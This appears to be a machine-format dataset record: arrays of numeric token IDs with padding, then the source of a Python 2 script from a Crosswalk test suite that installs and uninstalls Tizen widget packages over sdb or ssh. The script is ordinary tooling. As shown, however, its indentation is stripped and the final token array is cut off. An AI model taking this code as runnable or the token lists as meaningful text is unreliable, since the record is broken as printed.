275,
5762,
14,
2923,
63,
4515,
342,
221,
327,
5419,
1454,
641,
499,
14,
23,
272,
871,
26,
4696,
275,
5762,
14,
4515,
435,
5762,
14,
4899,
627,
5504,
627,
15751,
221,
327,
4002,
8321,
272,
372,
4696,
4388,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
2344,
272,
1316,
364,
527,
2654,
13,
265,
272,
1898,
334,
35,
9,
7800,
1316,
364,
527,
339,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
272,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
272,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
272,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
339,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
272,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
272,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
272,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
339,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
272,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
2344,
421,
199,
646,
900,
12,
2083,
421,
199,
318,
11601,
63,
18,
63,
5834,
8,
4595,
63,
1086,
304,
272,
340,
440,
11601,
63,
1086,
503,
11601,
63,
1086,
365,
488,
26,
372,
378,
272,
21799,
275,
446,
17,
272,
340,
440,
11601,
63,
1086,
14,
4130,
360,
58,
735,
267,
21799,
275,
11601,
63,
1086,
14,
14542,
360,
13854,
267,
340,
21799,
508,
446,
17,
26,
21799,
275,
11601,
63,
1086,
14,
14542,
21950,
339,
340,
21799,
690,
446,
17,
26,
267,
6714,
275,
11601,
63,
1086,
1491,
15966,
61,
267,
2070,
275,
11601,
63,
1086,
59,
15966,
61,
267,
5823,
275,
11601,
63,
1086,
59,
15966,
435,
413,
2938,
272,
587,
26,
267,
6714,
275,
11601,
63,
1086,
267,
5823,
275,
488,
339,
340,
6714,
14,
1623,
7563,
690,
446,
17,
26,
267,
6714,
275,
6714,
1491,
1086,
14,
1623,
7563,
61,
339,
862,
26,
366,
275,
2197,
14,
2083,
14,
9866,
8,
1086,
12,
1543,
57,
3295,
77,
3295,
19772,
5,
40,
2689,
45,
2689,
51,
358,
272,
871,
3146,
26,
366,
275,
2197,
14,
2083,
29316,
521,
14,
9866,
8,
1086,
12,
1543,
57,
3295,
77,
3295,
19772,
5,
40,
2689,
45,
2689,
51,
5832,
16,
26,
22,
2459,
339,
487,
70,
275,
2197,
14,
7473,
342,
272,
340,
5823,
26,
267,
10857,
12,
9395,
275,
5823,
14,
1294,
11633,
267,
10857,
275,
1109,
8,
8419,
9,
267,
9395,
275,
1109,
8,
10430,
9,
267,
340,
2070,
508,
20905,
288,
10857,
275,
446,
8419,
288,
9395,
275,
446,
10430,
267,
487,
70,
275,
2197,
14,
7473,
8,
10430,
29,
10430,
12,
10857,
29,
8419,
9,
272,
19314,
63,
3583,
275,
366,
446,
487,
70,
272,
9463,
275,
2197,
14,
2083,
14,
5834,
18531,
8,
16,
9,
272,
5762,
275,
19314,
63,
3583,
446,
9463,
272,
862,
26,
4696,
275,
5762,
14,
2923,
63,
4515,
342,
221,
327,
5419,
1454,
641,
499,
14,
23,
272,
871,
26,
4696,
275,
5762,
14,
4515,
435,
5762,
14,
4899,
627,
5504,
627,
15751,
221,
327,
4002,
8321,
272,
372,
4696,
4388,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
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0,
0,
0,
0,
0,
0,
0,
0,
0
] |
jiajiax/crosswalk-test-suite
|
webapi/tct-text-css3-tests/inst.wgt.py
|
372
|
6809
|
#!/usr/bin/env python
import os
import shutil
import glob
import time
import sys
import subprocess
import string
from optparse import OptionParser, make_option
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PKG_NAME = os.path.basename(SCRIPT_DIR)
PARAMETERS = None
#XW_ENV = "export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/5000/dbus/user_bus_socket"
SRC_DIR = ""
PKG_SRC_DIR = ""
def doCMD(cmd):
# Do not need handle timeout in this short script, let tool do it
print "-->> \"%s\"" % cmd
output = []
cmd_return_code = 1
cmd_proc = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
while True:
output_line = cmd_proc.stdout.readline().strip("\r\n")
cmd_return_code = cmd_proc.poll()
if output_line == '' and cmd_return_code is not None:
break
sys.stdout.write("%s\n" % output_line)
sys.stdout.flush()
output.append(output_line)
return (cmd_return_code, output)
def updateCMD(cmd=None):
if "pkgcmd" in cmd:
cmd = "su - %s -c '%s;%s'" % (PARAMETERS.user, XW_ENV, cmd)
return cmd
def getUSERID():
if PARAMETERS.mode == "SDB":
cmd = "sdb -s %s shell id -u %s" % (
PARAMETERS.device, PARAMETERS.user)
else:
cmd = "ssh %s \"id -u %s\"" % (
PARAMETERS.device, PARAMETERS.user)
return doCMD(cmd)
def getPKGID(pkg_name=None):
if PARAMETERS.mode == "SDB":
cmd = "sdb -s %s shell %s" % (
PARAMETERS.device, updateCMD('pkgcmd -l'))
else:
cmd = "ssh %s \"%s\"" % (
PARAMETERS.device, updateCMD('pkgcmd -l'))
(return_code, output) = doCMD(cmd)
if return_code != 0:
return None
test_pkg_id = None
for line in output:
if line.find("[" + pkg_name + "]") != -1:
pkgidIndex = line.split().index("pkgid")
test_pkg_id = line.split()[pkgidIndex + 1].strip("[]")
break
return test_pkg_id
def doRemoteCMD(cmd=None):
if PARAMETERS.mode == "SDB":
cmd = "sdb -s %s shell %s" % (PARAMETERS.device, updateCMD(cmd))
else:
cmd = "ssh %s \"%s\"" % (PARAMETERS.device, updateCMD(cmd))
return doCMD(cmd)
def doRemoteCopy(src=None, dest=None):
if PARAMETERS.mode == "SDB":
cmd_prefix = "sdb -s %s push" % PARAMETERS.device
cmd = "%s %s %s" % (cmd_prefix, src, dest)
else:
cmd = "scp -r %s %s:/%s" % (src, PARAMETERS.device, dest)
(return_code, output) = doCMD(cmd)
doRemoteCMD("sync")
if return_code != 0:
return True
else:
return False
def uninstPKGs():
action_status = True
for root, dirs, files in os.walk(SCRIPT_DIR):
if root.endswith("mediasrc"):
continue
for file in files:
if file.endswith(".wgt"):
pkg_id = getPKGID(os.path.basename(os.path.splitext(file)[0]))
if not pkg_id:
action_status = False
continue
(return_code, output) = doRemoteCMD(
"pkgcmd -u -t wgt -q -n %s" % pkg_id)
for line in output:
if "Failure" in line:
action_status = False
break
(return_code, output) = doRemoteCMD(
"rm -rf %s" % PKG_SRC_DIR)
if return_code != 0:
action_status = False
return action_status
def instPKGs():
action_status = True
(return_code, output) = doRemoteCMD(
"mkdir -p %s" % PKG_SRC_DIR)
if return_code != 0:
action_status = False
for root, dirs, files in os.walk(SCRIPT_DIR):
if root.endswith("mediasrc"):
continue
for file in files:
if file.endswith(".wgt"):
if not doRemoteCopy(
os.path.join(root, file), "%s/%s" % (SRC_DIR, file)):
action_status = False
(return_code, output) = doRemoteCMD(
"pkgcmd -i -t wgt -q -p %s/%s" % (SRC_DIR, file))
doRemoteCMD("rm -rf %s/%s" % (SRC_DIR, file))
for line in output:
if "Failure" in line:
action_status = False
break
# Do some special copy/delete... steps
'''
(return_code, output) = doRemoteCMD(
"mkdir -p %s/tests" % PKG_SRC_DIR)
if return_code != 0:
action_status = False
if not doRemoteCopy("specname/tests", "%s/tests" % PKG_SRC_DIR):
action_status = False
'''
return action_status
def main():
try:
usage = "usage: inst.py -i"
opts_parser = OptionParser(usage=usage)
opts_parser.add_option(
"-m", dest="mode", action="store", help="Specify mode")
opts_parser.add_option(
"-s", dest="device", action="store", help="Specify device")
opts_parser.add_option(
"-i", dest="binstpkg", action="store_true", help="Install package")
opts_parser.add_option(
"-u", dest="buninstpkg", action="store_true", help="Uninstall package")
opts_parser.add_option(
"-a", dest="user", action="store", help="User name")
global PARAMETERS
(PARAMETERS, args) = opts_parser.parse_args()
except Exception as e:
print "Got wrong option: %s, exit ..." % e
sys.exit(1)
if not PARAMETERS.user:
PARAMETERS.user = "app"
global SRC_DIR, PKG_SRC_DIR
SRC_DIR = "/home/%s/content" % PARAMETERS.user
PKG_SRC_DIR = "%s/tct/opt/%s" % (SRC_DIR, PKG_NAME)
if not PARAMETERS.mode:
PARAMETERS.mode = "SDB"
if PARAMETERS.mode == "SDB":
if not PARAMETERS.device:
(return_code, output) = doCMD("sdb devices")
for line in output:
if str.find(line, "\tdevice") != -1:
PARAMETERS.device = line.split("\t")[0]
break
else:
PARAMETERS.mode = "SSH"
if not PARAMETERS.device:
print "No device provided"
sys.exit(1)
user_info = getUSERID()
re_code = user_info[0]
if re_code == 0:
global XW_ENV
userid = user_info[1][0]
XW_ENV = "export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/%s/dbus/user_bus_socket" % str(
userid)
else:
print "[Error] cmd commands error : %s" % str(user_info[1])
sys.exit(1)
if PARAMETERS.binstpkg and PARAMETERS.buninstpkg:
print "-i and -u are conflict"
sys.exit(1)
if PARAMETERS.buninstpkg:
if not uninstPKGs():
sys.exit(1)
else:
if not instPKGs():
sys.exit(1)
if __name__ == "__main__":
main()
sys.exit(0)
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
747,
199,
646,
5145,
199,
646,
5739,
199,
646,
900,
199,
646,
984,
199,
646,
3873,
199,
646,
1059,
199,
504,
8691,
492,
13491,
12,
1852,
63,
1422,
421,
199,
10484,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
8964,
199,
18150,
63,
2339,
275,
747,
14,
515,
14,
4846,
8,
10484,
63,
3022,
9,
199,
24014,
275,
488,
199,
3,
56,
55,
63,
9984,
275,
298,
3790,
6249,
1668,
63,
12763,
63,
24753,
63,
12368,
29,
11864,
26,
515,
13043,
1065,
15,
751,
15,
13128,
15,
17066,
15,
751,
63,
5610,
63,
3450,
2,
199,
12447,
63,
3022,
275,
3087,
199,
18150,
63,
12447,
63,
3022,
275,
3087,
421,
199,
318,
886,
9744,
8,
1760,
304,
272,
327,
4226,
440,
1929,
2429,
2653,
315,
642,
3974,
2884,
12,
4691,
4744,
886,
652,
272,
870,
4320,
1140,
18321,
83,
18781,
450,
2088,
272,
1072,
275,
942,
272,
2088,
63,
1107,
63,
600,
275,
413,
272,
2088,
63,
4687,
275,
3873,
14,
7942,
8,
267,
2088,
12,
3839,
29,
5781,
14,
6089,
12,
4635,
29,
5781,
14,
13850,
12,
5218,
29,
549,
9,
339,
1830,
715,
26,
267,
1072,
63,
604,
275,
2088,
63,
4687,
14,
2703,
14,
6407,
1252,
1913,
4582,
82,
60,
78,
531,
267,
2088,
63,
1107,
63,
600,
275,
2088,
63,
4687,
14,
6843,
342,
267,
340,
1072,
63,
604,
508,
2125,
436,
2088,
63,
1107,
63,
600,
365,
440,
488,
26,
288,
2059,
267,
984,
14,
2703,
14,
952,
3647,
83,
60,
78,
2,
450,
1072,
63,
604,
9,
267,
984,
14,
2703,
14,
4939,
342,
267,
1072,
14,
740,
8,
1199,
63,
604,
9,
339,
372,
334,
1760,
63,
1107,
63,
600,
12,
1072,
9,
421,
199,
318,
1678,
9744,
8,
1760,
29,
403,
304,
272,
340,
298,
4600,
1760,
2,
315,
2088,
26,
267,
2088,
275,
298,
9648,
446,
450,
83,
446,
67,
1543,
83,
27,
5,
83,
4065,
450,
334,
24014,
14,
751,
12,
1323,
55,
63,
9984,
12,
2088,
9,
272,
372,
2088,
421,
199,
318,
664,
3791,
998,
837,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
1305,
446,
85,
450,
83,
2,
450,
334,
288,
23710,
14,
1782,
12,
23710,
14,
751,
9,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
8441,
344,
446,
85,
450,
83,
18781,
450,
334,
288,
23710,
14,
1782,
12,
23710,
14,
751,
9,
272,
372,
886,
9744,
8,
1760,
9,
421,
199,
318,
664,
18150,
998,
8,
4600,
63,
354,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
450,
83,
2,
450,
334,
288,
23710,
14,
1782,
12,
1678,
9744,
360,
4600,
1760,
446,
76,
1333,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
18321,
83,
18781,
450,
334,
288,
23710,
14,
1782,
12,
1678,
9744,
360,
4600,
1760,
446,
76,
1333,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
9744,
8,
1760,
9,
272,
340,
372,
63,
600,
1137,
378,
26,
267,
372,
488,
339,
511,
63,
4600,
63,
344,
275,
488,
272,
367,
1004,
315,
1072,
26,
267,
340,
1004,
14,
1623,
480,
905,
435,
5496,
63,
354,
435,
298,
12523,
1137,
446,
17,
26,
288,
5496,
344,
2681,
275,
1004,
14,
1294,
1252,
1080,
480,
4600,
344,
531,
288,
511,
63,
4600,
63,
344,
275,
1004,
14,
1294,
3430,
4600,
344,
2681,
435,
413,
1055,
1913,
480,
31346,
288,
2059,
272,
372,
511,
63,
4600,
63,
344,
421,
199,
318,
886,
6713,
9744,
8,
1760,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
450,
83,
2,
450,
334,
24014,
14,
1782,
12,
1678,
9744,
8,
1760,
430,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
18321,
83,
18781,
450,
334,
24014,
14,
1782,
12,
1678,
9744,
8,
1760,
430,
339,
372,
886,
9744,
8,
1760,
9,
421,
199,
318,
886,
6713,
5116,
8,
2164,
29,
403,
12,
2053,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
63,
1861,
275,
298,
21624,
446,
83,
450,
83,
6675,
2,
450,
23710,
14,
1782,
267,
2088,
275,
2071,
83,
450,
83,
450,
83,
2,
450,
334,
1760,
63,
1861,
12,
2928,
12,
2053,
9,
272,
587,
26,
267,
2088,
275,
298,
17124,
446,
82,
450,
83,
450,
83,
26,
3149,
83,
2,
450,
334,
2164,
12,
23710,
14,
1782,
12,
2053,
9,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
9744,
8,
1760,
9,
272,
886,
6713,
9744,
480,
5186,
531,
339,
340,
372,
63,
600,
1137,
378,
26,
267,
372,
715,
272,
587,
26,
267,
372,
756,
421,
199,
318,
625,
3615,
18150,
83,
837,
272,
1595,
63,
1205,
275,
715,
272,
367,
1738,
12,
7606,
12,
1584,
315,
747,
14,
7757,
8,
10484,
63,
3022,
304,
267,
340,
1738,
14,
4130,
480,
3700,
305,
1195,
2349,
288,
1980,
398,
367,
570,
315,
1584,
26,
288,
340,
570,
14,
4130,
9520,
87,
3308,
2349,
355,
5496,
63,
344,
275,
664,
18150,
998,
8,
736,
14,
515,
14,
4846,
8,
736,
14,
515,
14,
7973,
8,
493,
2788,
16,
2459,
355,
340,
440,
5496,
63,
344,
26,
490,
1595,
63,
1205,
275,
756,
490,
1980,
355,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
6713,
9744,
8,
490,
298,
4600,
1760,
446,
85,
446,
84,
336,
3308,
446,
81,
446,
78,
450,
83,
2,
450,
5496,
63,
344,
9,
355,
367,
1004,
315,
1072,
26,
490,
340,
298,
6782,
2,
315,
1004,
26,
717,
1595,
63,
1205,
275,
756,
717,
2059,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
6713,
9744,
8,
267,
298,
5682,
446,
3941,
450,
83,
2,
450,
30281,
63,
12447,
63,
3022,
9,
272,
340,
372,
63,
600,
1137,
378,
26,
267,
1595,
63,
1205,
275,
756,
339,
372,
1595,
63,
1205,
421,
199,
318,
2727,
18150,
83,
837,
272,
1595,
63,
1205,
275
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
646,
747,
199,
646,
5145,
199,
646,
5739,
199,
646,
900,
199,
646,
984,
199,
646,
3873,
199,
646,
1059,
199,
504,
8691,
492,
13491,
12,
1852,
63,
1422,
421,
199,
10484,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
8964,
199,
18150,
63,
2339,
275,
747,
14,
515,
14,
4846,
8,
10484,
63,
3022,
9,
199,
24014,
275,
488,
199,
3,
56,
55,
63,
9984,
275,
298,
3790,
6249,
1668,
63,
12763,
63,
24753,
63,
12368,
29,
11864,
26,
515,
13043,
1065,
15,
751,
15,
13128,
15,
17066,
15,
751,
63,
5610,
63,
3450,
2,
199,
12447,
63,
3022,
275,
3087,
199,
18150,
63,
12447,
63,
3022,
275,
3087,
421,
199,
318,
886,
9744,
8,
1760,
304,
272,
327,
4226,
440,
1929,
2429,
2653,
315,
642,
3974,
2884,
12,
4691,
4744,
886,
652,
272,
870,
4320,
1140,
18321,
83,
18781,
450,
2088,
272,
1072,
275,
942,
272,
2088,
63,
1107,
63,
600,
275,
413,
272,
2088,
63,
4687,
275,
3873,
14,
7942,
8,
267,
2088,
12,
3839,
29,
5781,
14,
6089,
12,
4635,
29,
5781,
14,
13850,
12,
5218,
29,
549,
9,
339,
1830,
715,
26,
267,
1072,
63,
604,
275,
2088,
63,
4687,
14,
2703,
14,
6407,
1252,
1913,
4582,
82,
60,
78,
531,
267,
2088,
63,
1107,
63,
600,
275,
2088,
63,
4687,
14,
6843,
342,
267,
340,
1072,
63,
604,
508,
2125,
436,
2088,
63,
1107,
63,
600,
365,
440,
488,
26,
288,
2059,
267,
984,
14,
2703,
14,
952,
3647,
83,
60,
78,
2,
450,
1072,
63,
604,
9,
267,
984,
14,
2703,
14,
4939,
342,
267,
1072,
14,
740,
8,
1199,
63,
604,
9,
339,
372,
334,
1760,
63,
1107,
63,
600,
12,
1072,
9,
421,
199,
318,
1678,
9744,
8,
1760,
29,
403,
304,
272,
340,
298,
4600,
1760,
2,
315,
2088,
26,
267,
2088,
275,
298,
9648,
446,
450,
83,
446,
67,
1543,
83,
27,
5,
83,
4065,
450,
334,
24014,
14,
751,
12,
1323,
55,
63,
9984,
12,
2088,
9,
272,
372,
2088,
421,
199,
318,
664,
3791,
998,
837,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
1305,
446,
85,
450,
83,
2,
450,
334,
288,
23710,
14,
1782,
12,
23710,
14,
751,
9,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
8441,
344,
446,
85,
450,
83,
18781,
450,
334,
288,
23710,
14,
1782,
12,
23710,
14,
751,
9,
272,
372,
886,
9744,
8,
1760,
9,
421,
199,
318,
664,
18150,
998,
8,
4600,
63,
354,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
450,
83,
2,
450,
334,
288,
23710,
14,
1782,
12,
1678,
9744,
360,
4600,
1760,
446,
76,
1333,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
18321,
83,
18781,
450,
334,
288,
23710,
14,
1782,
12,
1678,
9744,
360,
4600,
1760,
446,
76,
1333,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
9744,
8,
1760,
9,
272,
340,
372,
63,
600,
1137,
378,
26,
267,
372,
488,
339,
511,
63,
4600,
63,
344,
275,
488,
272,
367,
1004,
315,
1072,
26,
267,
340,
1004,
14,
1623,
480,
905,
435,
5496,
63,
354,
435,
298,
12523,
1137,
446,
17,
26,
288,
5496,
344,
2681,
275,
1004,
14,
1294,
1252,
1080,
480,
4600,
344,
531,
288,
511,
63,
4600,
63,
344,
275,
1004,
14,
1294,
3430,
4600,
344,
2681,
435,
413,
1055,
1913,
480,
31346,
288,
2059,
272,
372,
511,
63,
4600,
63,
344,
421,
199,
318,
886,
6713,
9744,
8,
1760,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
275,
298,
21624,
446,
83,
450,
83,
5218,
450,
83,
2,
450,
334,
24014,
14,
1782,
12,
1678,
9744,
8,
1760,
430,
272,
587,
26,
267,
2088,
275,
298,
5510,
450,
83,
18321,
83,
18781,
450,
334,
24014,
14,
1782,
12,
1678,
9744,
8,
1760,
430,
339,
372,
886,
9744,
8,
1760,
9,
421,
199,
318,
886,
6713,
5116,
8,
2164,
29,
403,
12,
2053,
29,
403,
304,
272,
340,
23710,
14,
632,
508,
298,
51,
2846,
582,
267,
2088,
63,
1861,
275,
298,
21624,
446,
83,
450,
83,
6675,
2,
450,
23710,
14,
1782,
267,
2088,
275,
2071,
83,
450,
83,
450,
83,
2,
450,
334,
1760,
63,
1861,
12,
2928,
12,
2053,
9,
272,
587,
26,
267,
2088,
275,
298,
17124,
446,
82,
450,
83,
450,
83,
26,
3149,
83,
2,
450,
334,
2164,
12,
23710,
14,
1782,
12,
2053,
9,
339,
334,
1107,
63,
600,
12,
1072,
9,
275,
886,
9744,
8,
1760,
9,
272,
886,
6713,
9744,
480,
5186,
531,
339,
340,
372,
63,
600,
1137,
378,
26,
267,
372,
715,
272,
587,
26,
267,
372,
756,
421,
199,
318,
625,
3615,
18150,
83,
837,
272,
1595,
63,
1205,
275,
715,
272,
367,
